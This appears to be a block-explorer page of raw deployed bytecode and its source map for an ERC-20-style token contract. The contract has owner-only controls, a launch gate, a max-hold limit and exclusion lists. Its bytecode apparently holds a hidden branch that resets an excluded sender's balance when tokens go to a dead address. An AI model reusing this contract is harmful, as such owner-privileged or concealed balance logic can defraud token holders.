11854565b610bab565b6101d26103a836600461177e565b610bbe565b6102196103bb366004611874565b610bf7565b6101d26103ce366004611839565b610c23565b6101d26103e1366004611839565b610c5d565b6103ee610c9a565b600754610100900460ff161561044b5760405162461bcd60e51b815260206004820152601960248201527f636f6e747261637420616c7265616479206c61756e636865640000000000000060448201526064015b60405180910390fd5b6007805461ff00191661010017905543600855565b6006805461046d906118a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610499906118a0565b80156104e45780601f106104bb576101008083540402835291602001916104e4565b820191905f5260205f20905b8154815290600101906020018083116104c757829003601f168201915b505050505081565b6007545f903390610100900460ff168061051257505f546001600160a01b038281169116145b61052e5760405162461bcd60e51b8152600401610442906118d8565b6001600160a01b0384166105845760405162461bcd60e51b815260206004820152601c60248201527f63616e6e6f7420617070726f76652074686520302061646472657373000000006044820152606401610442565b335f8181526002602090815260408083206001600160a01b03891680855290835292819020879055518681529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b6105f0610c9a565b6127106003546106009190611919565b811161064e5760405162461bcd60e51b815260206004820152601960248201527f63616e277420736574206c657373207468616e20302e303125000000000000006044820152606401610442565b601155565b6007545f908490610100900460ff168061067957505f546001600160a01b038281169116145b6106955760405162461bcd60e51b8152600401610442906118d8565b6001600160a01b0385165f9081526002602090815260408083203384529091529020546106c3908490611938565b6001600160a01b0386165f9081526002602090815260408083203384529091529020556106f1858585610cc6565b6001600160a01b0385165f81815260026020908152604080832033808552908352928190205490519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3506001949350505050565b61075d610c9a565b6001600160a01b0382165f908152600a602052604090205481151560ff9091161515036107ba5760405162461bcd60e51b815260206004820152600b60248201526a185b1c9958591e481cd95d60aa1b6044820152606401610442565b6001600160a01b03919091165f908152600a60205260409020805460ff1916911515919091179055565b6107ec610c9a565b600b546040516308cd09d560e41b8152600481018390526001600160a01b0390911690638cd09d50906024015f604051808303815f87803b15801561082f575f80fd5b505af1158015610841573d5f803e3d5ffd5b5050600b54604051636e08297160e11b8152600481018590526001600160a01b03909116925063dc1052e291506024015b5f604051808303815f87803b158015610889575f80fd5b505af115801561089b573d5f803e3d5ffd5b5050505050565b600754610100900460ff1661090b5760405162461bcd60e51b815260206004820152602960248201527f63616e206f6e6c792062652063616c6c6564206f6e636520746f6b656e206973604482015268081b185d5b98da195960ba1b6064820152608401610442565b600b5f9054906101000a90046001600160a01b03166001600160a01b031663e4fc6b6d6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015610957575f80fd5b505af1158015610969573d5f803e3d5ffd5b50505050565b600b5460408051631296b91d60e11b815290515f926001600160a01b03169163252d723a9160048083019260209291908290030181865afa1580156109b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109da919061194b565b905090565b6109e7610c9a565b600b8054911515600160a01b0260ff60a01b19909216919091179055565b610a0d610c9a565b610a165f610e08565b565b610a20610c9a565b600b546040516308cd09d560e41b8152600481018390526001600160a01b0390911690638cd09d5090602401610872565b6005805461046d906118a0565b6007545f903390610100900460ff1680610a8457505f546001600160a01b038281169116145b610aa05760405162461bcd60e51b8152600401610442906118d8565b610aab338585610cc6565b5060019392505050565b610abd610c9a565b6001600160a01b0382165f908152600a602052604090205460ff161580610ae2575080155b610b3a5760405162461bcd60e51b815260206004820152602360248201527f43616e6e6f74206578636c75646520616e2065786368616e67652066726f6d206044820152620e8c2f60eb1b6064820152608401610442565b6001600160a01b03919091165f908152600f60205260409020805460ff1916911515919091179055565b600b546040805163585e42ef60e11b815290515f926001600160a01b03169163b0bc85de9160048083019260209291908290030181865afa1580156109b6573d5f803e3d5ffd5b610bb3610c9a565b600e91909155600d55565b610bc6610c9a565b600b54604051636e08297160e11b8152600481018390526001600160a01b039091169063dc1052e290602401610872565b6001600160a01b038083165f908152600260209081526040808320938516835292905220545b92915050565b610c2b610c9a565b600b54604051631d48296560e31b81526001600160a01b0383811660048301529091169063ea414b2890602401610872565b610c65610c9a565b6001600160a01b038116610c8e57604051631e4fbdf760e01b81525f6004820152602401610442565b610c9781610e08565b50565b5f546001600160a01b03163314610a165760405163118cdaa760e01b8152336004820152602401610442565b6001600160a01b038216610d155760405162461bcd60e51b815260206004820152601660248201527563616e6e6f74206265207a65726f206164647265737360501b6044820152606401610442565b5f610d21848484610e57565b9050610d2e848484610e6b565b6001600160a01b0384165f90815260016020526040902054610d51908390611938565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610d80908290611962565b6001600160a01b038085165f818152600160205260408082208590559288168152918220549152610db5918691908690610ff6565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610dfa91815260200190565b60405180910390a350505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f610e63848484611002565b949350505050565b600754610100900460ff168015610e8f57505f546001600160a01b03848116911614155b8015610ea857505f546001600160a01b03838116911614155b8015610ecc57506001600160a01b0383165f908152600f602052604090205460ff16155b8015610ef057506001600160a01b0382165f908152600f602052604090205460ff16155b8015610f1457506001600160a01b0382165f908152600a602052604090205460ff16155b8015610f395750610f2361128e565b6001600160a01b0316826001600160a01b031614155b8015610f535750600b546001600160a01b03838116911614155b8015610f6d5750600b546001600160a01b03848116911614155b15610fe6576011546001600160a01b0383165f90815260016020526040902054610f98908390611962565b1115610fe65760405162461bcd60e51b815260206004820181905260248201527f74686973206973206f76657220746865206d617820686f6c6420616d6f756e746044820152606401610442565b610ff1838383611373565b505050565b61096984848484611637565b5f808290504260015f600b5f9054906101000a90046001600160a01b03166001600160a01b03166352894ceb6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061107f9190611975565b6001600160a01b03166001600160a01b031681526020019081526020015f20546110a99190611962565b6009556001600160a01b0385165f908152600f602052604090205460ff161580156110ec57506001600160a01b0384165f908152600f602052604090205460ff16155b80156110ff5750600754610100900460ff165b15611226576001600160a01b0385165f908152600a602052604090205460ff161561119757600b5460405163db017dc760e01b8152600481018590526001600160a01b039091169063db017dc7906024016020604051808303815f875af115801561116c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611190919061194b565b9050611226565b6001600160a01b0384165f908152600a602052604090205460ff161561122657600b54604051634fa26fd560e01b8152600481018590526001600160a01b0390911690634fa26fd5906024016020604051808303815f875af11580156111ff573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611223919061194b565b90505b5f6112318285611938565b9050801561127957600b546001600160a01b03165f9081526001602052604090205461125e908290611962565b600b546001600160a01b03165f908152600160205260409020555b61128486868461168b565b9695505050505050565b5f466001148061129e5750466003145b806112a95750466004145b806112b45750466005145b156112d25750737a250d5630b4cf539739df2c5dacb4c659f2488d90565b4662aa36a7036112f5575073c532a74256d3db42d0bf7a0400fefdbad769400890565b4660380361131657507310ed43c718714eb63d5aa57b78b54704e256024e90565b4661210503611338575073fcd3842f85ed87ba2889b4d35893403796e67ff190565b60405162461bcd60e51b815260206004820152601060248201526f155b9adb9bdddb8810da185a5b88125160821b6044820152606401610442565b600b5460408051630dd8715760e01b815290515f926001600160a01b031691630dd871579160048083019260209291908290030181865afa1580156113ba573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113de919061194b565b6113e89042611938565b6001600160a01b0385165f908152600f60205260408120549192509060ff1615801561142c57506001600160a01b0384165f908152600f602052604090205460ff16155b1561146f576001600160a01b0384165f908152600a602052604090205460ff161561146f57600954426008546114629190611962565b61146c9190611938565b90505b600754610100900460ff16801561148f5750600b54600160a01b900460ff165b80156114b257506001600160a01b0384165f908152600a602052604090205460ff165b80156114d657506001600160a01b0385165f908152600f602052604090205460ff16155b80156114fa57506001600160a01b0384165f908152600f602052604090205460ff16155b8015611514575042601054603c6115119190611962565b11155b80156115225750600d548210155b80156115495750600e54600b546001600160a01b03165f9081526001602052604090205410155b80156115c65750600b5f9054906101000a90046001600160a01b03166001600160a01b031663d83067866040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115a0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115c49190611990565b155b80156115d25750600a81115b156116325742601055600b546040805163e4fc6b6d60e01b815290516001600160a01b039092169163e4fc6b6d916004808201925f9290919082900301818387803b15801561161f575f80fd5b505af1925050508015611630575060015b505b61089b565b61deac196001600160a01b03831601611686576001600160a01b0384165f908152600f602052604090205460ff1615611686576004546001600160a01b0385165f908152600160205260409020555b610969565b5f826001600160a01b0316846001600160a01b0316036116ed5760405162461bcd60e51b815260206004820152601f60248201527f796f752063616e6e6f74207472616e7366657220746f20796f757273656c66006044820152606401610442565b5092915050565b5f602080835283518060208501525f5b8181101561172057858101830151858201604001528201611704565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610c97575f80fd5b5f8060408385031215611765575f80fd5b823561177081611740565b946020939093013593505050565b5f6020828403121561178e575f80fd5b5035919050565b5f805f606084860312156117a7575f80fd5b83356117b281611740565b925060208401356117c281611740565b929592945050506040919091013590565b8015158114610c97575f80fd5b5f80604083850312156117f1575f80fd5b82356117fc81611740565b9150602083013561180c816117d3565b809150509250929050565b5f60208284031215611827575f80fd5b8135611832816117d3565b9392505050565b5f60208284031215611849575f80fd5b813561183281611740565b5f8060408385031215611865575f80fd5b50508035926020909101359150565b5f8060408385031215611885575f80fd5b823561189081611740565b9150602083013561180c81611740565b600181811c908216806118b457607f821691505b6020821081036118d257634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252601390820152721d1c98591a5b99c81b9bdd08195b98589b1959606a1b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b5f8261193357634e487b7160e01b5f52601260045260245ffd5b500490565b81810381811115610c1d57610c1d611905565b5f6020828403121561195b575f80fd5b5051919050565b80820180821115610c1d57610c1d611905565b5f60208284031215611985575f80fd5b815161183281611740565b5f602082840312156119a0575f80fd5b8151611832816117d356fea2646970667358221220f37e5223f1cdf216668d9d505195cc4de033bfdf42de7a65c3acbdfaf84b2b1264736f6c63430008160033

Deployed Bytecode Sourcemap

33063:2841:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22483:182;;;:::i;:::-;;18663:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21336:314;;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;21336:314:0;1023:187:1;19418:102:0;19500:12;;19418:102;;;1361:25:1;;;1349:2;1334:18;19418:102:0;1215:177:1;28065:114:0;28156:14;;-1:-1:-1;;;;;28156:14:0;28065:114;;;-1:-1:-1;;;;;1561:32:1;;;1543:51;;1531:2;1516:18;28065:114:0;1397:203:1;35738:163:0;;;;;;:::i;:::-;;:::i;22123:328::-;;;;;;:::i;:::-;;:::i;23120:155::-;;;;;;:::i;:::-;;:::i;35575:::-;;;;;;:::i;:::-;;:::i;18688:21::-;;;;;;;;;;;;2933:4:1;2921:17;;;2903:36;;2891:2;2876:18;18688:21:0;2761:184:1;29123:93:0;;;:::i;27873:102::-;;;:::i;28225:97::-;;;;;;:::i;:::-;;:::i;33113:23::-;;;;;;19737:119;;;;;;:::i;:::-;-1:-1:-1;;;;;19831:17:0;19804:7;19831:17;;;:9;:17;;;;;;;19737:119;17528:103;;;:::i;18722:20::-;;;;;;;;;;;;28766:113;;;;;;:::i;:::-;;:::i;16853:87::-;16899:7;16926:6;-1:-1:-1;;;;;16926:6:0;16853:87;;18636:20;;;:::i;20511:178::-;;;;;;:::i;:::-;;:::i;28330:225::-;;;;;;:::i;:::-;;:::i;27671:104::-;;;:::i;18749:26::-;;;;;;28563:191;;;;;;:::i;:::-;;:::i;28887:111::-;;;;;;:::i;:::-;;:::i;20196:144::-;;;;;;:::i;:::-;;:::i;29010:105::-;;;;;;:::i;:::-;;:::i;17786:220::-;;;;;;:::i;:::-;;:::i;22483:182::-;16739:13;:11;:13::i;:::-;22547:8:::1;::::0;::::1;::::0;::::1;;;:17;22539:55;;;::::0;-1:-1:-1;;;22539:55:0;;4296:2:1;22539:55:0::1;::::0;::::1;4278:21:1::0;4335:2;4315:18;;;4308:30;4374:27;4354:18;;;4347:55;4419:18;;22539:55:0::1;;;;;;;;;22605:8;:15:::0;;-1:-1:-1;;22605:15:0::1;;;::::0;;22645:12:::1;22631:11;:26:::0;22483:182::o;18663:18::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;21336:314::-;19208:8;;21439:4;;21418:10;;19208:8;;;;;;:27;;-1:-1:-1;16899:7:0;16926:6;-1:-1:-1;;;;;19220:15:0;;;16926:6;;19220:15;19208:27;19200:59;;;;-1:-1:-1;;;19200:59:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;21464:21:0;::::1;21456:62;;;::::0;-1:-1:-1;;;21456:62:0;;5383:2:1;21456:62:0::1;::::0;::::1;5365:21:1::0;5422:2;5402:18;;;5395:30;5461;5441:18;;;5434:58;5509:18;;21456:62:0::1;5181:352:1::0;21456:62:0::1;21540:10;21531:20;::::0;;;:8:::1;:20;::::0;;;;;;;-1:-1:-1;;;;;21531:29:0;::::1;::::0;;;;;;;;;;:37;;;21584:36;1361:25:1;;;21531:29:0;;21540:10;21584:36:::1;::::0;1334:18:1;21584:36:0::1;;;;;;;-1:-1:-1::0;21638:4:0::1;::::0;21336:314;-1:-1:-1;;;21336:314:0:o;35738:163::-;16739:13;:11;:13::i;:::-;35833:5:::1;35818:12;;:20;;;;:::i;:::-;35812:3;:26;35804:64;;;::::0;-1:-1:-1;;;35804:64:0;;6094:2:1;35804:64:0::1;::::0;::::1;6076:21:1::0;6133:2;6113:18;;;6106:30;6172:27;6152:18;;;6145:55;6217:18;;35804:64:0::1;5892:349:1::0;35804:64:0::1;35879:8;:14:::0;35738:163::o;22123:328::-;19208:8;;22234:4;;22219;;19208:8;;;;;;:27;;-1:-1:-1;16899:7:0;16926:6;-1:-1:-1;;;;;19220:15:0;;;16926:6;;19220:15;19208:27;19200:59;;;;-1:-1:-1;;;19200:59:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;22280:14:0;::::1;;::::0;;;:8:::1;:14;::::0;;;;;;;22295:10:::1;22280:26:::0;;;;;;;;:34:::1;::::0;22309:5;;22280:34:::1;:::i;:::-;-1:-1:-1::0;;;;;22251:14:0;::::1;;::::0;;;:8:::1;:14;::::0;;;;;;;22266:10:::1;22251:26:::0;;;;;;;:63;22325:26:::1;22260:4:::0;22341:2;22345:5;22325:9:::1;:26::i;:::-;-1:-1:-1::0;;;;;22367:54:0;::::1;22394:14;::::0;;;:8:::1;:14;::::0;;;;;;;22382:10:::1;22394:26:::0;;;;;;;;;;;22367:54;;1361:25:1;;;22382:10:0;;22367:54;::::1;::::0;1334:18:1;22367:54:0::1;;;;;;;-1:-1:-1::0;22439:4:0::1;::::0;22123:328;-1:-1:-1;;;;22123:328:0:o;23120:155::-;16739:13;:11;:13::i;:::-;-1:-1:-1;;;;;23201:14:0;::::1;;::::0;;;:9:::1;:14;::::0;;;;;:20;::::1;;:14;::::0;;::::1;:20;;::::0;23193:44:::1;;;::::0;-1:-1:-1;;;23193:44:0;;6581:2:1;23193:44:0::1;::::0;::::1;6563:21:1::0;6620:2;6600:18;;;6593:30;-1:-1:-1;;;6639:18:1;;;6632:41;6690:18;;23193:44:0::1;6379:335:1::0;23193:44:0::1;-1:-1:-1::0;;;;;23248:14:0;;;::::1;;::::0;;;:9:::1;:14;::::0;;;;:19;;-1:-1:-1;;23248:19:0::1;::::0;::::1;;::::0;;;::::1;::::0;;23120:155::o;35575:::-;16739:13;:11;:13::i;:::-;35640:14:::1;::::0;:36:::1;::::0;-1:-1:-1;;;35640:36:0;;::::1;::::0;::::1;1361:25:1::0;;;-1:-1:-1;;;;;35640:14:0;;::::1;::::0;:25:::1;::::0;1334:18:1;;35640:36:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;35687:14:0::1;::::0;:35:::1;::::0;-1:-1:-1;;;35687:35:0;;::::1;::::0;::::1;1361:25:1::0;;;-1:-1:-1;;;;;35687:14:0;;::::1;::::0;-1:-1:-1;35687:24:0::1;::::0;-1:-1:-1;1334:18:1;;35687:35:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;35575:155:::0;:::o;29123:93::-;18925:8;;;;;;;18917:62;;;;-1:-1:-1;;;18917:62:0;;6921:2:1;18917:62:0;;;6903:21:1;6960:2;6940:18;;;6933:30;6999:34;6979:18;;;6972:62;-1:-1:-1;;;7050:18:1;;;7043:39;7099:19;;18917:62:0;6719:405:1;18917:62:0;29181:14:::1;;;;;;;;;-1:-1:-1::0;;;;;29181:14:0::1;-1:-1:-1::0;;;;;29181:25:0::1;;:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;29123:93::o:0;27873:102::-;27941:14;;:26;;;-1:-1:-1;;;27941:26:0;;;;27914:7;;-1:-1:-1;;;;;27941:14:0;;:24;;:26;;;;;;;;;;;;;;:14;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;27934:33;;27873:102;:::o;28225:97::-;16739:13;:11;:13::i;:::-;28293:11:::1;:21:::0;;;::::1;;-1:-1:-1::0;;;28293:21:0::1;-1:-1:-1::0;;;;28293:21:0;;::::1;::::0;;;::::1;::::0;;28225:97::o;17528:103::-;16739:13;:11;:13::i;:::-;17593:30:::1;17620:1;17593:18;:30::i;:::-;17528:103::o:0;28766:113::-;16739:13;:11;:13::i;:::-;28835:14:::1;::::0;:36:::1;::::0;-1:-1:-1;;;28835:36:0;;::::1;::::0;::::1;1361:25:1::0;;;-1:-1:-1;;;;;28835:14:0;;::::1;::::0;:25:::1;::::0;1334:18:1;;28835:36:0::1;1215:177:1::0;18636:20:0;;;;;;;:::i;20511:178::-;19208:8;;20610:4;;20589:10;;19208:8;;;;;;:27;;-1:-1:-1;16899:7:0;16926:6;-1:-1:-1;;;;;19220:15:0;;;16926:6;;19220:15;19208:27;19200:59;;;;-1:-1:-1;;;19200:59:0;;;;;;;:::i;:::-;20627:32:::1;20637:10;20649:2;20653:5;20627:9;:32::i;:::-;-1:-1:-1::0;20677:4:0::1;::::0;20511:178;-1:-1:-1;;;20511:178:0:o;28330:225::-;16739:13;:11;:13::i;:::-;-1:-1:-1;;;;;28423:14:0;::::1;;::::0;;;:9:::1;:14;::::0;;;;;::::1;;:23;::::0;:43:::1;;-1:-1:-1::0;28450:16:0;::::1;28423:43;28415:91;;;::::0;-1:-1:-1;;;28415:91:0;;7520:2:1;28415:91:0::1;::::0;::::1;7502:21:1::0;7559:2;7539:18;;;7532:30;7598:34;7578:18;;;7571:62;-1:-1:-1;;;7649:18:1;;;7642:33;7692:19;;28415:91:0::1;7318:399:1::0;28415:91:0::1;-1:-1:-1::0;;;;;28517:20:0;;;::::1;;::::0;;;:15:::1;:20;::::0;;;;:30;;-1:-1:-1;;28517:30:0::1;::::0;::::1;;::::0;;;::::1;::::0;;28330:225::o;27671:104::-;27740:14;;:27;;;-1:-1:-1;;;27740:27:0;;;;27713:7;;-1:-1:-1;;;;;27740:14:0;;:25;;:27;;;;;;;;;;;;;;:14;:27;;;;;;;;;;;;;;28563:191;16739:13;:11;:13::i;:::-;28667:23:::1;:35:::0;;;;28713:23:::1;:33:::0;28563:191::o;28887:111::-;16739:13;:11;:13::i;:::-;28955:14:::1;::::0;:35:::1;::::0;-1:-1:-1;;;28955:35:0;;::::1;::::0;::::1;1361:25:1::0;;;-1:-1:-1;;;;;28955:14:0;;::::1;::::0;:24:::1;::::0;1334:18:1;;28955:35:0::1;1215:177:1::0;20196:144:0;-1:-1:-1;;;;;20307:16:0;;;20280:7;20307:16;;;:8;:16;;;;;;;;:25;;;;;;;;;;20196:144;;;;;:::o;29010:105::-;16739:13;:11;:13::i;:::-;29075:14:::1;::::0;:32:::1;::::0;-1:-1:-1;;;29075:32:0;;-1:-1:-1;;;;;1561:32:1;;;29075::0::1;::::0;::::1;1543:51:1::0;29075:14:0;;::::1;::::0;:27:::1;::::0;1516:18:1;;29075:32:0::1;1397:203:1::0;17786:220:0;16739:13;:11;:13::i;:::-;-1:-1:-1;;;;;17871:22:0;::::1;17867:93;;17917:31;::::0;-1:-1:-1;;;17917:31:0;;17945:1:::1;17917:31;::::0;::::1;1543:51:1::0;1516:18;;17917:31:0::1;1397:203:1::0;17867:93:0::1;17970:28;17989:8;17970:18;:28::i;:::-;17786:220:::0;:::o;17018:166::-;16899:7;16926:6;-1:-1:-1;;;;;16926:6:0;15208:10;17078:23;17074:103;;17125:40;;-1:-1:-1;;;17125:40:0;;15208:10;17125:40;;;1543:51:1;1516:18;;17125:40:0;1397:203:1;24263:483:0;-1:-1:-1;;;;;24350:16:0;;24342:51;;;;-1:-1:-1;;;24342:51:0;;7924:2:1;24342:51:0;;;7906:21:1;7963:2;7943:18;;;7936:30;-1:-1:-1;;;7982:18:1;;;7975:52;8044:18;;24342:51:0;7722:346:1;24342:51:0;24406:22;24431:40;24455:4;24461:2;24465:5;24431:23;:40::i;:::-;24406:65;;24482:28;24494:4;24500:2;24504:5;24482:11;:28::i;:::-;-1:-1:-1;;;;;24539:15:0;;;;;;:9;:15;;;;;;:23;;24557:5;;24539:23;:::i;:::-;-1:-1:-1;;;;;24521:15:0;;;;;;;:9;:15;;;;;;:41;;;;24589:13;;;;;;;:30;;24605:14;;24589:30;:::i;:::-;-1:-1:-1;;;;;24573:13:0;;;;;;;:9;:13;;;;;;:46;;;24651:15;;;;;;;;;24672:13;;24632:54;;24645:4;;24651:15;24583:2;;24632:12;:54::i;:::-;24719:2;-1:-1:-1;;;;;24704:34:0;24713:4;-1:-1:-1;;;;;24704:34:0;;24723:14;24704:34;;;;1361:25:1;;1349:2;1334:18;;1215:177;24704:34:0;;;;;;;;24331:415;24263:483;;;:::o;18166:191::-;18240:16;18259:6;;-1:-1:-1;;;;;18276:17:0;;;-1:-1:-1;;;;;;18276:17:0;;;;;;18309:40;;18259:6;;;;;;;18309:40;;18240:16;18309:40;18229:128;18166:191;:::o;35365:202::-;35486:7;35513:46;35543:4;35549:2;35553:5;35513:29;:46::i;:::-;35506:53;35365:202;-1:-1:-1;;;;35365:202:0:o;34546:590::-;34667:8;;;;;;;:41;;;;-1:-1:-1;16899:7:0;16926:6;-1:-1:-1;;;;;34693:15:0;;;16926:6;;34693:15;;34667:41;:58;;;;-1:-1:-1;16899:7:0;16926:6;-1:-1:-1;;;;;34712:13:0;;;16926:6;;34712:13;;34667:58;:98;;;;-1:-1:-1;;;;;;34744:21:0;;;;;;:15;:21;;;;;;;;34743:22;34667:98;:122;;;;-1:-1:-1;;;;;;34770:19:0;;;;;;:15;:19;;;;;;;;34769:20;34667:122;:161;;;;-1:-1:-1;;;;;;34806:13:0;;;;;;:9;:13;;;;;;;;:22;34667:161;:203;;;;;34852:18;:16;:18::i;:::-;-1:-1:-1;;;;;34846:24:0;:2;-1:-1:-1;;;;;34846:24:0;;;34667:203;:249;;;;-1:-1:-1;34901:14:0;;-1:-1:-1;;;;;34887:29:0;;;34901:14;;34887:29;;34667:249;:297;;;;-1:-1:-1;34949:14:0;;-1:-1:-1;;;;;34933:31:0;;;34949:14;;34933:31;;34667:297;34663:419;;;35025:8;;-1:-1:-1;;;;;35000:13:0;;;;;;:9;:13;;;;;;:21;;35016:5;;35000:21;:::i;:::-;:33;;34991:79;;;;-1:-1:-1;;;34991:79:0;;8405:2:1;34991:79:0;;;8387:21:1;;;8424:18;;;8417:30;8483:34;8463:18;;;8456:62;8535:18;;34991:79:0;8203:356:1;34991:79:0;35094:34;35112:4;35118:2;35122:5;35094:17;:34::i;:::-;34546:590;;;:::o;35148:205::-;35293:52;35312:4;35318:11;35331:2;35335:9;35293:18;:52::i;25206:939::-;25315:7;25345:22;25370:5;25345:30;;25449:15;25406:9;:40;25416:14;;;;;;;;;-1:-1:-1;;;;;25416:14:0;-1:-1:-1;;;;;25416:27:0;;:29;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;25406:40:0;-1:-1:-1;;;;;25406:40:0;;;;;;;;;;;;;:58;;;;:::i;:::-;25386:17;:78;-1:-1:-1;;;;;25483:21:0;;;;;;:15;:21;;;;;;;;:30;;;:62;;-1:-1:-1;;;;;;25517:19:0;;;;;;:15;:19;;;;;;;;:28;25483:62;:74;;;;-1:-1:-1;25549:8:0;;;;;;;25483:74;25479:390;;;-1:-1:-1;;;;;25578:15:0;;;;;;:9;:15;;;;;;;;25574:284;;;25665:14;;:32;;-1:-1:-1;;;25665:32:0;;;;;1361:25:1;;;-1:-1:-1;;;;;25665:14:0;;;;:25;;1334:18:1;;25665:32:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;25648:49;;25574:284;;;-1:-1:-1;;;;;25723:13:0;;;;;;:9;:13;;;;;;;;25719:139;;;25809:14;;:33;;-1:-1:-1;;;25809:33:0;;;;;1361:25:1;;;-1:-1:-1;;;;;25809:14:0;;;;:26;;1334:18:1;;25809:33:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;25792:50;;25719:139;25881:17;25901:22;25909:14;25901:5;:22;:::i;:::-;25881:42;-1:-1:-1;25938:13:0;;25934:129;;26023:14;;-1:-1:-1;;;;;26023:14:0;26005:34;;;;:9;:34;;;;;;:46;;26042:9;;26005:46;:::i;:::-;25986:14;;-1:-1:-1;;;;;25986:14:0;25968:34;;;;:9;:34;;;;;:83;25934:129;26082:55;26112:4;26118:2;26122:14;26082:29;:55::i;:::-;26075:62;25206:939;-1:-1:-1;;;;;;25206:939:0:o;23309:732::-;23360:21;23398:13;23415:1;23398:18;:40;;;;23420:13;23437:1;23420:18;23398:40;:62;;;;23442:13;23459:1;23442:18;23398:62;:85;;;;23465:13;23482:1;23465:18;23398:85;23394:640;;;-1:-1:-1;23516:42:0;23309:732;:::o;23394:640::-;23593:13;23610:8;23593:25;23589:445;;-1:-1:-1;23652:42:0;23309:732;:::o;23589:445::-;23727:13;23744:2;23727:19;23723:311;;-1:-1:-1;23779:42:0;23309:732;:::o;23723:311::-;23859:13;23876:4;23859:21;23855:179;;-1:-1:-1;23913:42:0;23309:732;:::o;23855:179::-;23996:26;;-1:-1:-1;;;23996:26:0;;9022:2:1;23996:26:0;;;9004:21:1;9061:2;9041:18;;;9034:30;-1:-1:-1;;;9080:18:1;;;9073:46;9136:18;;23996:26:0;8820:340:1;26153:1034:0;26298:14;;:29;;;-1:-1:-1;;;26298:29:0;;;;26252:25;;-1:-1:-1;;;;;26298:14:0;;:27;;:29;;;;;;;;;;;;;;:14;:29;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;26280:47;;:15;:47;:::i;:::-;-1:-1:-1;;;;;26376:21:0;;26338:22;26376:21;;;:15;:21;;;;;;26252:75;;-1:-1:-1;26338:22:0;26376:21;;26375:22;:46;;;;-1:-1:-1;;;;;;26402:19:0;;;;;;:15;:19;;;;;;;;26401:20;26375:46;26371:198;;;-1:-1:-1;;;;;26442:13:0;;;;;;:9;:13;;;;;;;;26438:120;;;26525:17;;26507:15;26493:11;;:29;;;;:::i;:::-;:49;;;;:::i;:::-;26476:66;;26438:120;26597:8;;;;;;;:37;;;;-1:-1:-1;26623:11:0;;-1:-1:-1;;;26623:11:0;;;;26597:37;:68;;;;-1:-1:-1;;;;;;26652:13:0;;;;;;:9;:13;;;;;;;;26597:68;:108;;;;-1:-1:-1;;;;;;26684:21:0;;;;;;:15;:21;;;;;;;;26683:22;26597:108;:132;;;;-1:-1:-1;;;;;;26710:19:0;;;;;;:15;:19;;;;;;;;26709:20;26597:132;:187;;;;;26769:15;26747:13;;26763:2;26747:18;;;;:::i;:::-;:37;;26597:187;:248;;;;;26822:23;;26801:17;:44;;26597:248;:326;;;;-1:-1:-1;26900:23:0;;26880:14;;-1:-1:-1;;;;;26880:14:0;26862:34;;;;:9;:34;;;;;;:61;;26597:326;:375;;;;;26940:14;;;;;;;;;-1:-1:-1;;;;;26940:14:0;-1:-1:-1;;;;;26940:21:0;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:32;26597:375;:411;;;;;27006:2;26989:14;:19;26597:411;26579:556;;;27051:15;27035:13;:31;27085:14;;:27;;;-1:-1:-1;;;27085:27:0;;;;-1:-1:-1;;;;;27085:14:0;;;;:25;;:27;;;;;:14;;:27;;;;;;;;:14;;:27;;;;;;;;;;;;;;;;;;;;;;;;;27081:43;;27145:34;34546:590;27195:339;-1:-1:-1;;;;;;;27325:21